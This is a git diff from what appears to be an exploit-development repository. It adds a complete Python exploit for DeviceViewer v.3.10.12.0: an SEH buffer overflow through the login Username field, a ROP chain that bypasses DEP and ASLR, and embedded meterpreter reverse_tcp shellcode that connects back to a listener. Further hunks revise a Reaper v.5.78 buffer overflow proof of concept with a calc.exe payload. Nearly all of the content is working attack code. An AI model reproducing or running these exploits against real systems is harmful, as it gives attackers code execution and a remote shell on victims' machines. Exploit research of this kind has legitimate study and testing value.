diff --git a/windows/x86/local/DeviceViewer_v.3.10.12.0/DeviceViewer.exe b/windows/x86/local/DeviceViewer_v.3.10.12.0/DeviceViewer.exe
new file mode 100644
index 0000000..2d056a9
Binary files /dev/null and b/windows/x86/local/DeviceViewer_v.3.10.12.0/DeviceViewer.exe differ
diff --git a/windows/x86/local/DeviceViewer_v.3.10.12.0/DeviceViewer_v.3.10.12.0.py b/windows/x86/local/DeviceViewer_v.3.10.12.0/DeviceViewer_v.3.10.12.0.py
new file mode 100644
index 0000000..8a2b39a
--- /dev/null
+++ b/windows/x86/local/DeviceViewer_v.3.10.12.0/DeviceViewer_v.3.10.12.0.py
@@ -0,0 +1,134 @@
+"""
+Full title:         DeviceViewer (DeviceViewer.exe) v.3.10.12.0 - 'Username' Field, Stack Buffer Overlow (SEH) DEP+ASLR Bypass
+Exploit Author:     Paolo Stagno - voidsec@voidsec.com - https://voidsec.com
+Vendor Homepage:    http://www.sricam.com/
+Version:            v.3.10.12.0 
+Tested on:          Windows 10 Pro x64 v.1909 Build 18363.720
+Category:           local exploits
+Platform:           windows
+Usage:              DeviceViewer > Login Screen > in the "Username" textarea paste the content of "DeviceViewer_v.3.10.12.0_exploit.txt" and press "Login"
+
+PS C:\Users\user\Desktop> Import-Module .\Get-PESecurity.psm1
+PS C:\Users\user\Desktop> Get-PESecurity -file "C:\Program Files (x86)\DeviceViewer\DeviceViewer.exe"                   
+
+FileName         : C:\Program Files (x86)\DeviceViewer\DeviceViewer.exe
+ARCH             : I386
+DotNET           : False
+ASLR             : True
+DEP              : True
+Authenticode     : False
+StrongNaming     : N/A
+SafeSEH          : False
+ControlFlowGuard : False
+HighentropyVA    : False
+"""
+#!/usr/bin/python
+import struct
+
+poc=open("DeviceViewer_v.3.10.12.0_exploit.txt", "w")
+
+total_size=4000
+offset=264                                      # ofsset to nSEH
+# |                                                     buffer (4000)                                                              |
+# | garbage (254) | nSEH (4) | SEH (4) | filler (384) | rop chain (92) | stack adj (6) | shellcode (371) | filler (4000-len(buff)) |
+buf = ""                                        # our buffer
+buf += "A"*offset                               # garbage until we hit nSEH
+buf += "BBBB"                                   # nSEH;
+# 0x6b08190f : pop esi; pop edi; ret            | ascii {PAGE_EXECUTE_WRITECOPY} [avcodec-52.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files (x86)\DeviceViewer\avcodec-52.dll)
+#buf += struct.pack("<I",0x6b08190f)            # SEH used to calculate stack pivot offset
+# exception dispatcher ESP: 0x0170EB00
+# stack address of our stack adj: 0x0170F67C
+# stack pivot: 0x0170F67C-0x0170EB00=B7C (2940)
+# nearest pivot 
+# 0x6ad795e9 : {pivot 3324 / 0xcfc} :  # ADD ESP,0CEC # POP EBX # POP ESI # POP EDI # POP EBP # RETN    ** [avcodec-52.dll] **   |   {PAGE_EXECUTE_WRITECOPY}
+buf += struct.pack("<I",0x6ad795e9)             # SEH (stack pivot)
+# 3324 - 2940 = 384 to fill
+buf += "C"*384                                  # filler until we hit our rop chain
+# rop chain generated with mona.py - www.corelan.be
+"""
+Register setup for VirtualProtect() :
+--------------------------------------------
+ EAX = NOP (0x90909090)
+ ECX = lpOldProtect (ptr to W address)
+ EDX = NewProtect (0x40)
+ EBX = dwSize
+ ESP = lPAddress (automatic)
+ EBP = ReturnTo (ptr to jmp esp)
+ ESI = ptr to VirtualProtect()
+ EDI = ROP NOP (RETN)
+"""
+def create_rop_chain():
+    rop_gadgets = [
+        #[---INFO:gadgets_to_set_edx:---]
+    0x6b050b5e,  # POP EAX # RETN [avcodec-52.dll] 
+    0xffffffd7,  # put delta into eax (-> put 0x00000040 into edx)
+    0x6ad62214,  # ADD EAX,69 # RETN [avcodec-52.dll] 
+    0x6994f1d6,  # XCHG EAX,EDX # RETN [avformat-54.dll] 
+    #[---INFO:gadgets_to_set_esi:---]
+    0x6b050b5e,  # POP EAX # RETN [avcodec-52.dll] 
+    0x68bab1f4,  # ptr to &VirtualProtect() [IAT avutil-51.dll]
+    0x699150dc,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [avformat-54.dll] 
+    0x6ae8bcd8,  # XCHG EAX,ESI # RETN [avcodec-52.dll] 
+    #[---INFO:gadgets_to_set_ebx:---]
+    0x6b05be37,  # POP EAX # RETN [avcodec-52.dll] 
+    0xa1a50201,  # put delta into eax (-> put 0x00000201 into ebx)
+    0x6ade3410,  # ADD EAX,5E5B0000 # POP EDI # POP EBP # RETN [avcodec-52.dll] 
+    0x41414141,  # Filler (compensate)
+    0x41414141,  # Filler (compensate)
+    0x6ad5b2b4,  # PUSH EAX # POP EBX # RETN [avcodec-52.dll] 
+    #[---INFO:gadgets_to_set_ebp:---]
+    0x6aec5b60,  # POP EBP # RETN [avcodec-52.dll] 
+    0x6ae590cf,  # & push esp # ret  [avcodec-52.dll]
+    #[---INFO:gadgets_to_set_edi:---]
+    0x699b8706,  # POP EDI # RETN [avformat-54.dll] 
+    0x6991e152,  # RETN (ROP NOP) [avformat-54.dll]
+    #[---INFO:gadgets_to_set_ecx:---]
+    0x699cc348,  # POP ECX # RETN [avformat-54.dll] 
+    0x6b68c50c,  # &Writable location [avcodec-52.dll]
+    #[---INFO:gadgets_to_set_eax:---]
+    0x6b05be46,  # POP EAX # RETN [avcodec-52.dll] 
+    0x90909090,  # nop
+    #[---INFO:pushad:---]
+    0x699047dc,  # PUSHAD # RETN [avformat-54.dll] 
+    ]
+    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
+buf += create_rop_chain()
+#------------------------------------------------
+buf += "\x81\xc4\x24\xfa\xff\xff"               # stack adjustment for meterpreter GetPC routine; add esp, -1500
+# shellcode
+# max sixe: 3728
+# bad chars: \x00\x0a\x0d
+# msfvenom -a x86 --platform windows -p windows/metrpreter/reverse_tcp lhost=192.168.206.1 exitfunc=seh -b '\x00\x0a\x0d' -f python
+buf += b"\xdb\xd2\xba\xd7\x4e\xeb\xf4\xd9\x74\x24\xf4\x5e\x33"
+buf += b"\xc9\xb1\x57\x31\x56\x17\x83\xee\xfc\x03\x81\x5d\x09"
+buf += b"\x01\xd1\x8a\x4f\xea\x29\x4b\x30\x62\xcc\x7a\x70\x10"
+buf += b"\x85\x2d\x40\x52\xcb\xc1\x2b\x36\xff\x52\x59\x9f\xf0"
+buf += b"\xd3\xd4\xf9\x3f\xe3\x45\x39\x5e\x67\x94\x6e\x80\x56"
+buf += b"\x57\x63\xc1\x9f\x8a\x8e\x93\x48\xc0\x3d\x03\xfc\x9c"
+buf += b"\xfd\xa8\x4e\x30\x86\x4d\x06\x33\xa7\xc0\x1c\x6a\x67"
+buf += b"\xe3\xf1\x06\x2e\xfb\x16\x22\xf8\x70\xec\xd8\xfb\x50"
+buf += b"\x3c\x20\x57\x9d\xf0\xd3\xa9\xda\x37\x0c\xdc\x12\x44"
+buf += b"\xb1\xe7\xe1\x36\x6d\x6d\xf1\x91\xe6\xd5\xdd\x20\x2a"
+buf += b"\x83\x96\x2f\x87\xc7\xf0\x33\x16\x0b\x8b\x48\x93\xaa"
+buf += b"\x5b\xd9\xe7\x88\x7f\x81\xbc\xb1\x26\x6f\x12\xcd\x38"
+buf += b"\xd0\xcb\x6b\x33\xfd\x18\x06\x1e\x6a\xec\x2b\xa0\x6a"
+buf += b"\x7a\x3b\xd3\x58\x25\x97\x7b\xd1\xae\x31\x7c\x60\xb8"
+buf += b"\xc1\x52\xca\xa9\x3f\x52\x2b\xe3\xfb\x06\x7b\x9b\x2a"
+buf += b"\x26\x10\x5b\xd2\xf3\x8d\x51\x44\x3b\xf9\xa8\x95\xd3"
+buf += b"\xf8\x34\x87\x7f\x74\xd2\xf7\x2f\xd6\x4b\xb8\x9f\x96"
+buf += b"\x3b\x50\xf5\x18\x63\x40\xf6\xf2\x0c\xeb\x18\xab\x65"
+buf += b"\x84\x81\xf6\xfe\x35\x4e\x2d\x7b\x75\xc4\xc4\x7b\x38"
+buf += b"\x2c\xac\x6f\x2d\x4b\x4e\x70\xae\xf9\x4e\x1a\xaa\xab"
+buf += b"\x19\xb2\xb0\x8a\x6e\x1d\x4a\xf9\xec\x5a\xb4\x7f\xc5"
+buf += b"\x11\x83\x15\x69\x4e\xec\xf9\x69\x8e\xba\x93\x69\xe6"
+buf += b"\x1a\xc7\x39\x13\x65\xd2\x2d\x88\xf0\xdc\x07\x7c\x52"
+buf += b"\xb4\xa5\x5b\x94\x1b\x55\x8e\xa6\x5b\xa9\x4c\x81\xc3"
+buf += b"\xc2\xae\x91\xf3\x12\xc5\x11\xa3\x7a\x12\x3d\x4c\x4b"
+buf += b"\xdb\x94\x05\xc3\x56\x79\xe4\x72\x66\x50\xa8\x2a\x67"
+buf += b"\x57\x70\xdc\x12\x18\x87\x1d\xe3\x30\xec\x1d\xe3\x3c"
+buf += b"\x13\x21\x35\x05\x66\x64\x85\x32\x76\x68\x38\xaf\xec"
+buf += b"\x75\x6f\xd0\x25\x1f\x8f\xed"
+#------------------------------------------------
+buf += "D"*(total_size-len(buf))                # filler
+poc.write(buf)
+poc.close()
\ No newline at end of file
diff --git a/windows/x86/local/Reaper_v.5.78/Reaper_v.5.78_v1.py b/windows/x86/local/Reaper_v.5.78/Reaper_v.5.78.py
similarity index 77%
rename from windows/x86/local/Reaper_v.5.78/Reaper_v.5.78_v1.py
rename to windows/x86/local/Reaper_v.5.78/Reaper_v.5.78.py
index 9de81ec..c3c160e 100644
--- a/windows/x86/local/Reaper_v.5.78/Reaper_v.5.78_v1.py
+++ b/windows/x86/local/Reaper_v.5.78/Reaper_v.5.78.py
@@ -3,36 +3,26 @@ Full title:         Reaper v.5.78 Local Buffer Overflow
 Exploit Author:     Paolo Stagno - voidsec@voidsec.com - https://voidsec.com
 Vendor Homepage:    https://www.reaper.fm/
 Version:            Reaper v.5.78
-Tested on:          Windows 10 x64 Pro v.10.0.18363 Build 18363
+Tested on:          Windows 10 Pro x64 v.1909 Build 18363.720
 Category:           local exploits
 Platform:           windows
-Usage:              Reaper > Options > Preferences > ReaScript > in the "Force ReaScript to use specific python dll" textarea paste the content of "reaper_5.78_exploit.txt"
+Usage:              Reaper > Options > Preferences > ReaScript > in the "Force ReaScript to use specific python dll" textarea paste the content of "Reaper_5.78_exploit.txt"
 """
 #!/usr/bin/python
 import struct
 
-poc=open("reaper_5.78_exploit.txt", "w")
+poc=open("Reaper_5.78_exploit.txt", "w")
 
 total_size=2000
-# |                   (465)                   |
-# | garbage (37) | shellcode (max 465-37=428) | EIP (4) | filler (2000-469=1531) |
+# |                 (465)                 |
+# | garbage (37) | shellcode (465-37=428) | EIP (4) | filler (2000-469=1531) |
 offset=465
 buff = ""
 buff += "A"*37                          # garbage
-buff += "BBBB"                          # alignment
+# ESI (0x0019b6e4) points at offset 37 in normal pattern (length 474)
 # shellcode
-# msfvenom -a x86 --platform windows -p windows/exec CMD=calc.exe exitfunc=thread -b '\x00\x0a\x0d\x7f' -e x86/alpha_mixed BufferRegister=ESI -f python --smallest 
-# unfortuntely is between 448-440 bytes long
-# alternatively we can create our buffer with the following structure: 0x0019741c : Pointer into normal cyclic pattern at ESP-0x4264 (-16996) : 0x00197530 : offset 1036, length 760 
-
-# | garbage (37) | ESP-0x4264; JMP ESP () | filler () | EIP (4) | filler () | shellcode () | filler () |
-buff += ""                              
-# ------ shellcode ------
-buff += "B"*(offset-len(buff))          # filler
-# must chose a pointer withouth bad chars and  in the good-chars range
-# 0x1003111b : call esi | ascii {PAGE_EXECUTE_READ} [elastique.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files (x86)\REAPER\Plugins\elastique.dll)
-buff += struct.pack("<I",0x1003111b)    # EIP
-buff += "C"*(total_size-len(buff))      # filler
+# max size: 428
+# msfvenom -a x86 --platform windows -p windows/exec CMD=calc.exe exitfunc=thread -b '\x00\x0a\x0d\x7f' -e x86/alpha_mixed BufferRegister=ESI -f python --smallest
 # good chars
 """ 
     \x01\x02\x03\x04\x05\x06\x07\x08\x09    \x0b\x0c    \x0e\x0f
@@ -68,5 +58,12 @@ buff += "C"*(total_size-len(buff))      # filler
 |c3 a8 c3 a9 c3 aa c3 ab c3 ac c3 ad c3 ae c3 af| Memory
 `-----------------------------------------------'
 """
+buff += "SHELLCODE GOES HERE"
+# ------ shellcode ------
+buff += "B"*(offset-len(buff))          # filler until we hit EIP
+# must chose a pointer withouth bad chars and  in the good-chars range
+# 0x1003111b : call esi | ascii {PAGE_EXECUTE_READ} [elastique.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files (x86)\REAPER\Plugins\elastique.dll)
+buff += struct.pack("<I",0x1003111b)    # EIP
+buff += "C"*(total_size-len(buff))      # filler
 poc.write(buff)
 poc.close()
\ No newline at end of file
diff --git a/windows/x86/local/Reaper_v.5.78/Reaper_v.5.78_v2.py b/windows/x86/local/Reaper_v.5.78/Reaper_v.5.78_v2.py
index 41acb35..68c810a 100644
--- a/windows/x86/local/Reaper_v.5.78/Reaper_v.5.78_v2.py
+++ b/windows/x86/local/Reaper_v.5.78/Reaper_v.5.78_v2.py
@@ -11,7 +11,7 @@ Usage:              Reaper > Options > Preferences > ReaScript > in the "Force R
 #!/usr/bin/python
 import struct
 
-poc=open("reaper_5.78_exploit.txt", "w")
+poc=open("Reaper_5.78_exploit.txt", "w")
 
 total_size=2000
 # |                                             (1036)                            |